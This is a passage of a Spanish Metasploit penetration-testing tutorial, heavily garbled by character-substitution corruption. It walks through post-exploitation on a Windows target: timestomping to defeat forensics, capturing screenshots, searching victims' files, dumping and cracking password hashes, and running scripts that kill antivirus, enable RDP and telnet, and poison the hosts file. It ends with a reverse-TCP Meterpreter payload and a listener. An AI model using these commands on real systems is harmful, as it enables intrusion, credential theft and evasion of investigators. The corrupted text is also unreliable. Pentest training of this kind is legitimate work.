$omo puede ver, meterpreter ya no puede obtener un listado de directorios adecuados.
Sin embaro, no es alo a considerar en este caso. "emos escondido cuando una accin se produ%o, sin
embaro, todava va a ser muy obvio para un investiador que la actividad que estaba sucediendo.
A<u! haramos si quisi!ramos ocultar tanto, cuando un con%unto de herramientas se ha subido, y donde
fue caradoB
7a manera ms fcil de abordar esto es poner a cero los tiempos de la unidad completa. Esto har que
el traba%o del investiador muy difcil, ya que el anlisis tradicional lnea de tiempo no ser posible.
/ermite por primera vez a nuestro directorio (499TsystemEJ.
,3, todo parece normal. 'hora, vamos a sacudir el sistema de archivos hasta realmente malZ
meterpreter > pwd
CMEBLL2\ant5rus
meterpreter > cd ..*..
meterpreter > pwd
CM
meterpreter > ls
Cstn4M CM\
============
Mode =+e 2ype Cast modfed Lame
1111 1111 1111 1111111111111 1111
,''%%%*rw!rw!rw! ' fl Eed 7ec &, ,)M''M'' 1'/'' ,)() D<293K3C.$D2
,''(((*rw1rw1rw1 ' fl Eed 7ec &, ,)M''M'' 1'/'' ,)() C9L6B;.=J=
.'%%%*rw!rw!rw! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() 7ocuments and
=ettn4s
,''...*r11r11r11 ' fl Eed 7ec &, ,)M''M'' 1'/'' ,)() B9.=J=
,''...*r11r11r11 ' fl Eed 7ec &, ,)M''M'' 1'/'' ,)() M=79=.=J=
,''///*r1!r1!r1! &..(0 fl Eed 7ec &, ,)M''M'' 1'/'' ,)() L27323C2.C9M
.'///*r1!r1!r1! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() Pro4ram 6les
.'%%%*rw!rw!rw! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() ?3CJCC3?
.'%%%*rw!rw!rw! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() =ystem 8olume
Bnformaton
.'%%%*rw!rw!rw! ' dr Eed 7ec &, ,)M''M'' 1'/'' ,)() EBLL2
,''///*r1!r1!r1! ,.0))- fl Eed 7ec &, ,)M''M'' 1'/'' ,)() arcldr.e!e
,''///*r1!r1!r1! ,(-0,( fl Eed 7ec &, ,)M''M'' 1'/'' ,)() arcsetup.e!e
,''(((*rw1rw1rw1 ,)- fl Eed 7ec &, ,)M''M'' 1'/'' ,)() boot.n
,''...*r11r11r11 -,..,( fl Eed 7ec &, ,)M''M'' 1'/'' ,)() ntldr
,''(((*rw1rw1rw1 .'-(/&,0. fl Eed 7ec &, ,)M''M'' 1'/'' ,)() pa4efle.sys
meterpreter > tmestomp CM\\ 1r
PZQ $lan#n4 drectory MDC3 attrbutes on CM\
meterpreter > ls
meterpreter > ls
Cstn4M CM\
============
Mode =+e 2ype Cast modfed Lame
1111 1111 1111 1111111111111 1111
,''%%%*rw!rw!rw! ' fl -,'(1'-1'( -&M-0M,/ 1'%'' D<293K3C.$D2
,''(((*rw1rw1rw1 ' fl -,'(1'-1'( -&M-0M,/ 1'%'' C9L6B;.=J=
,''(((*rw1rw1rw1 ' fl -,'(1'-1'( -&M-0M,/ 1'%'' 7ocuments and
=ettn4s
,''...*r11r11r11 ' fl -,'(1'-1'( -&M-0M,/ 1'%'' B9.=J=
,''...*r11r11r11 ' fl -,'(1'-1'( -&M-0M,/ 1'%'' M=79=.=J=
,''///*r1!r1!r1! .%/(. fl -,'(1'-1'( -&M-0M,/ 1'%'' L27323C2.C9M
...snp...
's, despu!s de ver que lo que hace (indo2s B
4ncreble. (indo2s no tiene idea de lo que est pasando, y muestra la hora loca por todo el luar.
9o demasiado confiado sin embaro. 'l realizar esta accin, que tambi!n han hecho muy evidente que
alDn tipo de actividad adverso se ha producido en el sistema. 'dems, hay muchas fuentes diferentes
de informacin de lnea de tiempo en un sistema (indo2s otras veces y lueo slo &'$. Si un
investiador forense se encontr con un sistema que ha sido modificado de esta manera, se va a correr a
estas fuentes de informacin alternativas. Sin embaro, el costo de realizar la investiacin acaba de
subir.
&eterpreter Screen $apture
Meterpreter captura de pantalla
$on la Dltima actualizacin del #rame2or3 de &etasploit KE.EM que se a0ade un traba%o bastante
excepcional desde el equipo de desarrollo de &etasploit. <ue ha aprendido en los captulos anteriores
el impresionante poder de meterpreter. ,tra caracterstica adicional es la capacidad de capturar el
escritorio de las vctimas y uardarlos en el sistema. Echemos un rpido vistazo a cmo funciona esto.
Wa asumiremos que tiene una consola meterpreter, vamos a echar un vistazo a lo que est en la pantalla
de las vctimas.
PZQ =tarted bnd "andler
PZQ 2ryn4 tar4et Endows KP =P- 1 3n4ls"...
PZQ =endn4 sta4e (%,)&(' bytes)
PZQ Meterpreter sesson , opened (,)-.,(0.,.,',M&.,,% 1> ,)-.,(0.,.,'.M....)
meterpreter > ps
Process lst
============
PB7 Lame Pat"
111 1111 1111
,0' notepad.e!e CM\EBL79E=\system&-\notepad.e!e
-.0 snmp.e!e CM\EBL79E=\=ystem&-\snmp.e!e
-(' 3!plorer.3K3 CM\EBL79E=\3!plorer.3K3
-0. sur4emal.e!e cM\sur4emal\sur4emal.e!e
&&- 8Mware=er5ce.e!e CM\Pro4ram 6les\8Mware\8Mware
2ools\8Mware=er5ce.e!e
(,- 8Mware2ray.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware2ray.e!e
(-' 8Mware<ser.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\8Mware<ser.e!e
(.0 ctfmon.e!e CM\EBL79E=\system&-\ctfmon.e!e
((. ;roo5eMontor.e!e CM\Pro4ram 6les\Mcrosoft
9ffce\9ffce,-\;roo5eMontor.e!e
%-0 EYC=C7?-.e!e CM\Pro4ram 6les\DLB\DLBEYC=- =er5ce\EYC=C7?-.e!e
%&( jusc"ed.e!e CM\Pro4ram 6les\ba5a\jre(\bn\jusc"ed.e!e
%/( msms4s.e!e CM\Pro4ram 6les\Messen4er\msms4s.e!e
0,( smss.e!e \=ystem?oot\=ystem&-\smss.e!e
0&- al4.e!e CM\EBL79E=\=ystem&-\al4.e!e
)'. csrss.e!e \WW\CM\EBL79E=\system&-\csrss.e!e
)-0 wnlo4on.e!e \WW\CM\EBL79E=\system&-\wnlo4on.e!e
)%- ser5ces.e!e CM\EBL79E=\system&-\ser5ces.e!e
)0. lsass.e!e CM\EBL79E=\system&-\lsass.e!e
,,/- 5mact"lp.e!e CM\Pro4ram 6les\8Mware\8Mware 2ools\5mact"lp.e!e
,,(. s5c"ost.e!e CM\EBL79E=\system&-\s5c"ost.e!e
,-%( nwaut".e!e cM\sur4emal\nwaut".e!e
,-)( s5c"ost.e!e CM\EBL79E=\system&-\s5c"ost.e!e
,.'. s5c"ost.e!e CM\EBL79E=\=ystem&-\s5c"ost.e!e
,/'' s5c"ost.e!e CM\EBL79E=\system&-\s5c"ost.e!e
,(/- s5c"ost.e!e CM\EBL79E=\system&-\s5c"ost.e!e
,%)( spools5.e!e CM\EBL79E=\system&-\spools5.e!e
,),- &pro!y.e!e CM\&pro!y\bn\&pro!y.e!e
-'-. j@s.e!e CM\Pro4ram 6les\ba5a\jre(\bn\j@s.e!e
-,00 swatc".e!e cM\sur4emal\swatc".e!e
-... e!plore.e!e CM\Pro4ram 6les\Bnternet 3!plorer\e!plore.e!e
&''. cmd.e!e CM\EBL79E=\system&-\cmd.e!e
meterpreter > m4rate -('
PZQ M4ratn4 to -('...
PZQ M4raton completed successfully.
meterpreter > use espa
Coadn4 e!tenson espa...success.
meterpreter > screen4rab
=creens"ot sa5ed toM *root*nJd?<ppb.jpe4
meterpreter >
/odemos comprobar la eficacia de esta era en la miracin al explorer.exe, aseDrese de que el proceso
est en su meterpreter tiene acceso a escritorios activos o esto no funcionar. :amos a echar un vistazo
en el escritorio a las vctimas.
&eterpreter Searchin
Meterpreter 5s'ueda
7a fua de informacin es una de las mayores amenazas que enfrentan las empresas y muchas de ellas
se pueden prevenir mediante la educacin de los usuarios para aseurar correctamente sus datos. 7os
usuarios que los usuarios, sin embaro, con frecuencia se uardan los datos en sus estaciones de traba%o
locales en luar de en los servidores corporativos, donde hay un mayor control.
&eterpreter tiene una funcin de bDsqueda que, por defecto, buscar en todas las unidades del equipo
infectado en busca de archivos de su eleccin.
meterpreter > searc" 1"
<sa4eM searc" P1d drQ P1r recurseQ 1f pattern
=earc" for fles.
9P2B9L=M
1d 2"e drectory*dr5e to be4n searc"n4 from. Cea5e empty to searc" all
dr5es. (7efaultM )
1f 2"e fle pattern 4lob to searc" for. (e.4. ZsecretZ.docW)
1" >elp $anner.
1r ?ecurs5ly searc" sub drectores. (7efaultM true)
/ara realizar una bDsqueda de todos los archivos %pe en el ordenador, basta con e%ecutar el comando
de bDsqueda con el modificador -?f- y decirle que lo que tipo de archivo a buscar.
meterpreter > searc" 1f Z.jp4
6ound .,0 results...
...snp...
cM\7ocuments and =ettn4s\Dll <sers\7ocuments\My Pctures\=ample Pctures\$lue
"lls.jp4 (-0/-, bytes)
cM\7ocuments and =ettn4s\Dll <sers\7ocuments\My Pctures\=ample
Pctures\=unset.jp4 (%,,0) bytes)
cM\7ocuments and =ettn4s\Dll <sers\7ocuments\My Pctures\=ample
Pctures\Eater lles.jp4 (0&%). bytes)
cM\7ocuments and =ettn4s\Dll <sers\7ocuments\My Pctures\=ample
Pctures\Enter.jp4 (,'//.- bytes)
...snp...
7a bDsqueda de un equipo completo puede tomar una ran cantidad de tiempo y existe la posibilidad de
que un usuario observador puede notar su paliza disco duro constantemente. /odemos reducir el tiempo
de bDsqueda al se0alar que en un directorio de inicio y de%ar que sia.
meterpreter > searc" 1d cM\\documents\ and\ settn4s\\admnstrator\\des#top\\ 1f
Z.pdf
6ound - results...
cM\documents and settn4s\admnstrator\des#top\operatonsIplan.pdf (-..'((
bytes)
cM\documents and settn4s\admnstrator\des#top\bud4et.pdf (-..'(( bytes)
meterpreter >
&ediante la e%ecucin de la bDsqueda de esta manera, usted se dar cuenta de un aumento de velocidad
enorme en el tiempo que tarda en completarse.
[ohn The )ipper
El +ohn The 6ipper mdulo utiliza para identificar contrase0as d!biles que han sido adquiridas como
archivos hash KbotnM o crudo 7'9&'9 > 9T7& hashes KhashdumpM. El ob%etivo de este mdulo es
encontrar contrase0as triviales en un corto perodo de tiempo. /ara romper las contrase0as comple%as o
utilizar listas de palabras randes, +ohn the 6ipper debe ser usado fuera de &etasploit. Esta primera
versin slo se encara 7& > 9T7& credenciales de hashdump y utiliza la lista de palabras estndar y
relas.
'ntes de utilizar +T6 en &etasploit, usted tiene que determinar la contrase0a de /ostreS<7 que se
enera aleatoriamente para ;TL.
rootGbtM]H cat *opt*framewor#&*conf4*database.yml
productonM
adapterM post4res@l
databaseM msf&
usernameM msf&
passwordM 0b0-(ac'
"ostM ,-%.'.'.,
portM %,%/
poolM %/
tmeoutM /
)espu!s de tener las credenciales de base de datos, tendr que conectarse a la base de datos para volcar
los hashes de la mquina.
msf au!lary("andler) > dbIconnect msf&M0b0-(ac'G,-%.'.'.,M%,%/*msf&
msf au!lary("andler) > use post*wndows*4at"er*"as"dump
msf post("as"dump) > set sesson ,
sesson => ,
msf post("as"dump) > run
PZQ 9btann4 t"e boot #ey...
PZQ Calculatn4 t"e "boot #ey usn4 =J=X3J bffad-dcc)),/)%aaa,)f)'e0bc.ee''...
PZQ 9btann4 t"e user lst and #eys...
PZQ 7ecryptn4 user #eys...
PZQ 7umpn4 password "as"es...
DdmnstratorM/''Mcb/f%%%%-e/,%0b%%b)fbd%).-)-0(dbMb%0fe,'.)0&b/c%/.a-%c,%0./..fda
%MMM
;uestM/',Maad&b.&/b/,.'.eeaad&b.&/b/,.'.eeM&,d(cfe'd,(ae)&,b%&c/)d%e'c'0)c'MMM
>elpDssstantM,'''M0,',0/b,c'dd0(dd%/(d,&0f/.,(-df0M%b0f-&%'0aec%,'%bfdf')-/dbb-fe
d%MMM
=<PP9?2I&00)./a'M,''-Maad&b.&/b/,.'.eeaad&b.&/b/,.'.eeM0be.bbf-ad%bd%cec.e,cdddcd.
b'/-eMMM
rDEjDEM,''&Maad&b.&/b/,.'.eeaad&b.&/b/,.'.eeM,,%a-f('/)0-.c(0(e%a,(a,&%%(0a-'MMM
rDEjDE-M,''.Me/-cac(%.,)a)a--.a&b,'0f&fa(cb(dM00.(f%eaee0fb,,%ad'(bdd0&'b%/0(cMMM
PZQ Post module e!ecuton completed
msf post("as"dump) > use au!lary*analy+e*jtrIcrac#Ifast
msf au!lary(jtrIcrac#Ifast) > run
PZQ =eeded t"e password database wt" 0 words...
4uessesM & tmeM 'M''M''M'. 79L3 (=at bul ,( ,)M/)M'. -',,) c*sM ,-)/,X tryn4M
EBY,)'' 1 YYY,)''
Earnn4M passwords prnted abo5e m4"t be partal and not be all t"ose crac#ed
<se t"e :11s"ow: opton to dsplay all of t"e crac#ed passwords relably
PZQ 9utputM Coaded % password "as"es wt" no dfferent salts (CM 73= P,-0*,-0 $=
==3-Q)
PZQ 9utputM 7 (credI(M-)
PZQ 9utputM PD==E9? (credI(M,)
PZQ 9utputM ;; (credI,M-)
Earnn4M m!ed1case c"arsetR but t"e current "as" type s case1nsenst5eN
some canddate passwords may be unnecessarly tred more t"an once.
4uessesM , tmeM 'M''M''M'/ 79L3 (=at bul ,( ,)M/)M,' -',,) c*sM ..-/(X tryn4M
[[8V 1 [[[V
Earnn4M passwords prnted abo5e m4"t be partal and not be all t"ose crac#ed
<se t"e :11s"ow: opton to dsplay all of t"e crac#ed passwords relably
PZQ 9utputM Coaded % password "as"es wt" no dfferent salts (CM 73= P,-0*,-0 $=
==3-Q)
PZQ 9utputM ?emann4 . password "as"es wt" no dfferent salts
PZQ 9utputM (credI-)
4uessesM ' tmeM 'M''M''M'' 79L3 (=at bul ,( ,)M/)M,' -',,) c*sM ((((X tryn4M
0)')& 1 0)')-
PZQ 9utputM Coaded % password "as"es wt" no dfferent salts (CM 73= P,-0*,-0 $=
==3-Q)
PZQ 9utputM ?emann4 & password "as"es wt" no dfferent salts
4uessesM , tmeM 'M''M''M,, 79L3 (=at bul ,( ,)M/)M-, -',,) c*sM -)(')X tryn4M
+wn4l,)'' 1 password,)''
<se t"e :11s"ow: opton to dsplay all of t"e crac#ed passwords relably
PZQ 9utputM Coaded ( password "as"es wt" no dfferent salts (L2 M7. P,-0*,-0 ==3-
U &-*&-Q)
PZQ 9utputM password (credI()
4uessesM , tmeM 'M''M''M'/ 79L3 (=at bul ,( ,)M/)M-% -',,) c*sM (.0,(X tryn4M
[[[V
<se t"e :11s"ow: opton to dsplay all of t"e crac#ed passwords relably
PZQ 9utputM Coaded ( password "as"es wt" no dfferent salts (L2 M7. P,-0*,-0 ==3-
U &-*&-Q)
PZQ 9utputM ?emann4 / password "as"es wt" no dfferent salts
PZQ 9utputM (credI-)
4uessesM ' tmeM 'M''M''M'' 79L3 (=at bul ,( ,)M/)M-% -',,) c*sM %.'%X tryn4M
0)'&' 1 0)')-
PZQ 9utputM Coaded ( password "as"es wt" no dfferent salts (L2 M7. P,-0*,-0 ==3-
U &-*&-Q)
PZQ 9utputM ?emann4 . password "as"es wt" no dfferent salts
PUQ Crac#edM ;uestM (,)-.,(0.,0..,&.M../)
PUQ Crac#edM rDEjDE-Mpassword (,)-.,(0.,0..,&.M../)
PZQ Du!lary module e!ecuton completed
msf au!lary(jtrIcrac#Ifast) >
Meterpreter Scriptin!
5na de las caractersticas ms potentes de &eterpreter es la versatilidad y la facilidad de a0adir
caractersticas adicionales. Esto se lora a trav!s del entorno &eterpreter scriptin. Esta seccin cubre
la automatizacin de tareas en una sesin de &eterpreter a trav!s del uso de este entorno de
proramacin, Acmo se puede aprovechar de &eterpreter scriptin, y cmo escribir sus propios scripts
para resolver sus necesidades Dnicas.
'ntes de la derecha de buceo, vale la pena que cubre unos pocos artculos. 'l iual que todos los del
#rame2or3 de &etasploit, los scripts que se trata de escritos en 6uby y ubicado en el directorio
principal de &etasploit scripts > meterpreter. Si usted no est familiarizado con 6uby, un ran recurso
para el aprendiza%e de rub es el libro en lnea Cde proramacin 6ubyC.
'ntes de comenzar, por favor, tmese unos minutos para revisar el repositorio actual de scripts
&eterpreter. Este es un ran recurso a utilizar para ver cmo otros se acercan a los problemas y,
posiblemente, pedir el cdio que puede ser de utilidad para usted.
,.istin! Scripts
secuencias de comandos e.istentes
&etasploit viene con un montn de scripts Dtiles que pueden ayudar en el #rame2or3 de &etasploit.
Estos scripts son normalmente realizadas por terceros y, finalmente, aprobada en el repositorio. :amos
a realizar alunos de ellos y caminar a trav!s de cmo se pueden utilizar en su propia prueba de
penetracin.
7os scripts se mencionan a continuacin estn destinados a ser utilizados con una shell &eterpreter
despu!s de que el compromiso con !xito de un ob%etivo. 5na vez que usted ha anado una sesin con el
ob%etivo de poder utilizar estas secuencias de comandos que me%or se adapte a sus necesidades.
El -chec3vm- script, como su nombre indica, los controles para ver si explota una mquina virtual. Esta
informacin puede ser muy Dtil.
meterpreter > run c"ec#5m
PZQ C"ec#n4 f ==>DCX2>B=$9K1' s a 8rtual Mac"ne ........
PZQ 2"s s a 8Mware Eor#staton*6uson 8rtual Mac"ne
El -etcountermeasure- script comprueba la confiuracin de seuridad en el sistema de las vctimas y
puede desactivar otras medidas de seuridad tales como ' > :, #ire2all, y mucho ms.
meterpreter > run 4etcountermeasure
PZQ ?unnn4 ;etcountermeasure on t"e tar4et...
PZQ C"ec#n4 for contermeasures...
PZQ ;ettn4 Endows $ult n 6rewall conf4uraton...
PZQ
PZQ 7oman profle conf4uratonM
PZQ 1111111111111111111111111111111111111111111111111111111111111111111
PZQ 9peratonal mode = 7sable
PZQ 3!cepton mode = 3nable
PZQ
PZQ =tandard profle conf4uratonM
PZQ 1111111111111111111111111111111111111111111111111111111111111111111
PZQ 9peratonal mode = 7sable
PZQ 3!cepton mode = 3nable
PZQ
PZQ Cocal Drea Connecton ( frewall conf4uratonM
PZQ 1111111111111111111111111111111111111111111111111111111111111111111
PZQ 9peratonal mode = 7sable
PZQ
PZQ C"ec#n4 73P =upport Polcy...
El script -etui- se utiliza para habilitar 6)/ en un sistema de destino si est desactivado.
meterpreter > run 4et4u
Endows ?emote 7es#top 3nabler Meterpreter =crpt
<sa4eM 4et4u 1u 1p
9P2B9L=M
1e 3nable ?7P only.
1" >elp menu.
1p 2"e Password of t"e user to add.
1u 2"e <sername of t"e user to add.
meterpreter > run 4et4u 1e
PZQ Endows ?emote 7es#top Conf4uraton Meterpreter =crpt by 7ar#operator
PZQ Carlos Pere+ carlosIpere+Gdar#operator.com
PZQ 3nabln4 ?emote 7es#top
PZQ ?7P s already enabled
PZQ =ettn4 2ermnal =er5ces ser5ce startup mode
PZQ 2ermnal =er5ces ser5ce s already set to auto
PZQ 9penn4 port n local frewall f necessary
El -ettelnet- script se utiliza para activar telnet a la vctima si est desactivado.
meterpreter > run 4ettelnet
Endows 2elnet =er5er 3nabler Meterpreter =crpt
<sa4eM 4ettelnet 1u 1p
9P2B9L=M
1e 3nable 2elnet =er5er only.
1" >elp menu.
1p 2"e Password of t"e user to add.
1u 2"e <sername of t"e user to add.
meterpreter > run 4ettelnet 1e
PZQ Endows 2elnet =er5er 3nabler Meterpreter =crpt
PZQ =ettn4 2elnet =er5er =er5ces ser5ce startup mode
PZQ 2"e 2elnet =er5er =er5ces ser5ce s not set to autoR c"an4n4 t to
auto ...
PZQ 9penn4 port n local frewall f necessary
El -*ill':- script se puede utilizar para desactivar la mayora de los proramas antivirus se e%ecuta
como un servicio a un ob%etivo.
meterpreter > run #lla5
PZQ Xlln4 Dnt5rus ser5ces on t"e tar4et...
PZQ Xlln4 off cmd.e!e...
El script -et@local@subnets- se utiliza para obtener la mscara de subred local de una vctima. Esta
informacin puede ser muy Dtil tener para irar.
meterpreter > run 4etIlocalIsubnets
Cocal subnetM ,'.-,,.//.'*-//.-//.-//.'
El script -hostsedit- &eterpreter es para arear entradas al archivo hosts de (indo2s. )esde (indo2s
comprobar el archivo hosts primera vez de la confiuracin del servidor )9S, que ayudar a desviar
el trfico a una entrada falsa o entradas. Wa sea una sola entrada se puede proporcionar o una serie de
entradas se puede contar con un archivo que contiene una entrada por lnea.
meterpreter > run "ostsedt
9P2B9L=M
1e >ost entry n t"e format of BPR>ostname.
1" >elp 9ptons.
1l 2e!t fle wt" lst of entres n t"e format of BPR>ostname. 9ne per lne.
3!ampleM
run "ostsedt 1e ,-%.'.'.,R4oo4le.com
run "ostsedt 1l *tmp*fa#ednsentres.t!t
meterpreter > run "ostsedt 1e ,'.-,,.//.,(-Rwww.mcrosoft.com
PZQ Ma#n4 $ac#up of t"e "osts fle.
PZQ $ac#up loacated n CM\EBL79E=\=ystem&-\dr5ers\etc\"osts(-.)%.bac#
PZQ Dddn4 ?ecord for >ost www.mcrosoft.com wt" BP ,'.-,,.//.,(-
PZQ Clearn4 t"e 7L= Cac"e
El script -remote2inenum- voy a enumerar la informacin del sistema a trav!s de 2mic en vctima.
Tome nota de que los reistros se almacenan.
meterpreter > run remotewnenum
?emote Endows 3numeraton Meterpreter =crpt
2"s scrpt wll enumerate wndows "osts n t"e tar4et en5ronment
45en a username and password or usn4 t"e credental under wtc"
Meterpreter s runnn4 usn4 EMB wmc wndows nat5e tool.
<sa4eM
9P2B9L=M
1" >elp menu.
1p Password of user on tar4et system
1t 2"e tar4et address
1u <ser on t"e tar4et system (Bf not pro5ded t wll use credental of
process)
meterpreter > run remotewnenum 1u admnstrator 1p "a+password 1t ,'.-,,.//.,-0
PZQ =a5n4 report to *root*.msf&*lo4s*remotewnenum*,'.-,,.//.,-0I-'')'%,,.',.-
PZQ ?unnn4 EMBC Commands ....
PZQ runnn4 command wmc en5ronment lst
PZQ runnn4 command wmc s"are lst
PZQ runnn4 command wmc ncconf4 lst
PZQ runnn4 command wmc computersystem lst
PZQ runnn4 command wmc useraccount lst
PZQ runnn4 command wmc 4roup lst
PZQ runnn4 command wmc sysaccount lst
PZQ runnn4 command wmc 5olume lst bref
PZQ runnn4 command wmc lo4calds# 4et descrptonRflesystemRnameRs+e
PZQ runnn4 command wmc netlo4n 4et nameRlastlo4onRbadpasswordcount
PZQ runnn4 command wmc netclent lst bref
PZQ runnn4 command wmc netuse 4et nameRusernameRconnectontypeRlocalname
PZQ runnn4 command wmc s"are 4et nameRpat"
PZQ runnn4 command wmc nte5entlo4 4et pat"RflenameRwrteable
PZQ runnn4 command wmc ser5ce lst bref
PZQ runnn4 command wmc process lst bref
PZQ runnn4 command wmc startup lst full
PZQ runnn4 command wmc rdto44le lst
PZQ runnn4 command wmc product 4et nameR5erson
PZQ runnn4 command wmc @fe lst
El -2inenum- script hace una herramienta muy detallada enumeracin de las ventanas. :uelca to3ens
hashes y mucho ms.
meterpreter > run wnenum
PZQ ?unnn4 Endows Cocal 3numeron Meterpreter =crpt
PZQ Lew sesson on ,'.-,,.//.,-0M.......
PZQ =a5n4 report to *root*.msf&*lo4s*wnenum*,'.-,,.//.,-0I-'')'%,,.'/,.1
))-%,*,'.-,,.//.,-0I-'')'%,,.'/,.1))-%,.t!t
PZQ C"ec#n4 f ==>DCX2>B=$9K1' s a 8rtual Mac"ne ........
PZQ 2"s s a 8Mware Eor#staton*6uson 8rtual Mac"ne
PZQ ?unnn4 Command Cst ...
PZQ runnn4 command cmd.e!e *c set
PZQ runnn4 command arp 1a
PZQ runnn4 command pconf4 *all
PZQ runnn4 command pconf4 *dsplaydns
PZQ runnn4 command route prnt
PZQ runnn4 command net 5ew
PZQ runnn4 command netstat 1nao
PZQ runnn4 command netstat 15b
PZQ runnn4 command netstat 1ns
PZQ runnn4 command net accounts
PZQ runnn4 command net accounts *doman
PZQ runnn4 command net sesson
PZQ runnn4 command net s"are
PZQ runnn4 command net 4roup
PZQ runnn4 command net user
PZQ runnn4 command net local4roup
PZQ runnn4 command net local4roup admnstrators
PZQ runnn4 command net 4roup admnstrators
PZQ runnn4 command net 5ew *doman
PZQ runnn4 command nets" frewall s"ow conf4
PZQ runnn4 command tas#lst *s5c
PZQ runnn4 command tas#lst *m
PZQ runnn4 command 4presult *=C9P3 C9MP<23? *Y
PZQ runnn4 command 4presult *=C9P3 <=3? *Y
PZQ ?unnn4 EMBC Commands ....
PZQ runnn4 command wmc computersystem lst bref
PZQ runnn4 command wmc useraccount lst
PZQ runnn4 command wmc 4roup lst
PZQ runnn4 command wmc ser5ce lst bref
PZQ runnn4 command wmc 5olume lst bref
PZQ runnn4 command wmc lo4calds# 4et descrptonRflesystemRnameRs+e
PZQ runnn4 command wmc netlo4n 4et nameRlastlo4onRbadpasswordcount
PZQ runnn4 command wmc netclent lst bref
PZQ runnn4 command wmc netuse 4et nameRusernameRconnectontypeRlocalname
PZQ runnn4 command wmc s"are 4et nameRpat"
PZQ runnn4 command wmc nte5entlo4 4et pat"RflenameRwrteable
PZQ runnn4 command wmc process lst bref
PZQ runnn4 command wmc startup lst full
PZQ runnn4 command wmc rdto44le lst
PZQ runnn4 command wmc product 4et nameR5erson
PZQ runnn4 command wmc @fe
PZQ 3!tractn4 software lst from re4stry
PZQ 6ns"ed 3!tracton of software lst from re4stry
PZQ 7umpn4 password "as"es...
PZQ >as"es 7umped
PZQ ;ettn4 2o#ens...
PZQ Dll to#ens "a5e been processed
PZQ 7one!
El CscraperC script puede tomar aDn ms informacin del sistema, incluyendo todo el 6eistro.
meterpreter > run scraper
PZQ Lew sesson on ,'.-,,.//.,-0M.......
PZQ ;at"ern4 basc system nformaton...
PZQ 7umpn4 password "as"es...
PZQ 9btann4 t"e entre re4stry...
PZQ 3!portn4 >XC<
PZQ 7ownloadn4 >XC< (CM\EBL79E=\23MP\CS23"B@o.re4)
PZQ Cleann4 >XC<
PZQ 3!portn4 >XCM
PZQ 7ownloadn4 >XCM (CM\EBL79E=\23MP\;>M<d8Et.re4)
)e nuestros e%emplos anteriores podemos ver que hay un montn de scripts &eterpreter para nosotros
para enumerar un montn de informacin, desactivar el anti?virus para nosotros, habilitar 6)/, y
mucho mucho ms.
(ritin &eterpreter Scripts
,scritura de scripts Meterpreter
"ay alunas cosas que hay que tener en cuenta al crear un script meterpreter nuevo.
< 1o todas las versiones de #indo"s son los mismos
< Algunas versiones de #indo"s tienen medidas de seguridad para algunos de los comandos
< 1o todas las herramientas de lnea de comandos se encuentran en todas las versiones de
#indo"s;
< Algunas de las herramientas de lnea de comando interruptores varan dependiendo de la
versin de #indo"s
En pocas palabras, las mismas limitaciones que tiene cuando se traba%a con m!todos de explotacin
estndar. &S# puede ser de ran ayuda, pero no puede cambiar los fundamentos de ese ob%etivo.
Teniendo esto en cuenta puede ahorrar un montn de frustracin en el camino. ' fin de mantener la
versin de su ob%etivo de (indo2s y el paquete de servicio en la mente, y construir al mismo.
/ara nuestros propsitos, vamos a crear una independiente binaria que se e%ecuta en el sistema de
destino que va a crear un shell &eterpreter revertir de nuevo a nosotros. Esto descarta cualquier
problema con un exploit a medida que traba%amos a trav!s de nuestro desarrollo de uiones.
rootGbtM]H cd *pentest*e!plots*framewor#&*
rootGbtM*pentest*e!plots*framewor#&H msfpayload wndows*meterpreter*re5erseItcp
C>9=2=,)-.,(0.,.,0. K > Meterpreter.e!e
Created by msfpayload ("ttpM**www.metasplot.com).
PayloadM wndows*meterpreter*re5erseItcp
Cen4t"M &,'
9ptonsM C>9=2=,)-.,(0.,.,0.
&aravilloso. 'hora movemos el e%ecutable para nuestra mquina (indo2s que va a ser nuestro
ob%etivo para el script que vamos a escribir. Slo tenemos que confiurar nuestro oyente. /ara ello,
vamos a crear un peque0o script para poner en marcha varios controladores para nosotros.
rootGbtM*pentest*e!plots*framewor#&H touc" meterpreter.rc
rootGbtM*pentest*e!plots*framewor#&H ec"o use e!plot*mult*"andler >>
meterpreter.rc
rootGbtM*pentest*e!plots*framewor#&H ec"o set PDJC9D7
wndows*meterpreter*re5erseItcp >> meterpreter.rc
rootGbtM*pentest*e!plots*framewor#&H ec"o set C>9=2 ,)-.,(0.,.,0. >>
meterpreter.rc
rootGbtM*pentest*e!plots*framewor#&H ec"o set 3!t9n=esson false >>
meterpreter.rc
rootGbtM*pentest*e!plots*framewor#&H ec"o e!plot 1j 1+ >> meterpreter.rc
rootGbtM*pentest*e!plots*framewor#&H cat meterpreter.rc
use e!plot*mult*"andler
set PDJC9D7 wndows*meterpreter*re5erseItcp
set C>9=2 ,)-.,(0.,.,0.
set 3!t9n=esson false
e!plot 1j 1+
'qu estamos utilizando el mane%ador de explotar mDltiples para recibir nuestra capacidad de cara, se
especifica que la cara es una cara reverse@tcp &eterpreter, se establece la opcin de payload, nos
aseuramos de que el controlador de mDltiples no saldr una vez que reciba una sesin ya que podra
necesitar volver a establecer una causa de un error o que podran ser las pruebas en distintas versiones
de (indo2s de hosts de destino diferente.
&ientras traba%aba en los uiones, vamos a uardar los scripts de prueba para >
pentest>exploits>frame2or3E>scripts>meterpreter para que se puedan e%ecutar.
'hora, lo Dnico que queda es poner en marcha con nuestros msfconsole el uin de recursos.
rootGbtM*pentest*e!plots*framewor#&H msfconsole 1r meterpreter.rc
=P metasplot 5&.0.'1de5 PcoreM&.0 apM,.'Q
U 11 11=P ()& e!plots 1 &/0 au!lary 1 &) post
U 11 11=P --& payloads 1 -% encoders 1 0 nops
=P s5n r,-%0% updated today (-',,.'/.&,)
resource> use e!plot*mult*"andler
resource> set PDJC9D7 wndows*meterpreter*re5erseItcp
PDJC9D7 => wndows*meterpreter*re5erseItcp
resource> set C>9=2 ,)-.,(0.,.,0.
C>9=2 => ,)-.,(0.,.,0.
resource> set 3!t9n=esson false
3!t9n=esson => false
resource> e!plot 1j 1+
PZQ >andler bndn4 to C>9=2 '.'.'.'
PZQ =tarted re5erse "andler
PZQ =tartn4 t"e payload "andler...
$omo se puede ver arriba, &etasploit es la escucha de una conexin. 'hora podemos e%ecutar nuestro
e%ecutable en nuestro host de (indo2s y vamos a recibir una sesin. 5na vez que se establezca la
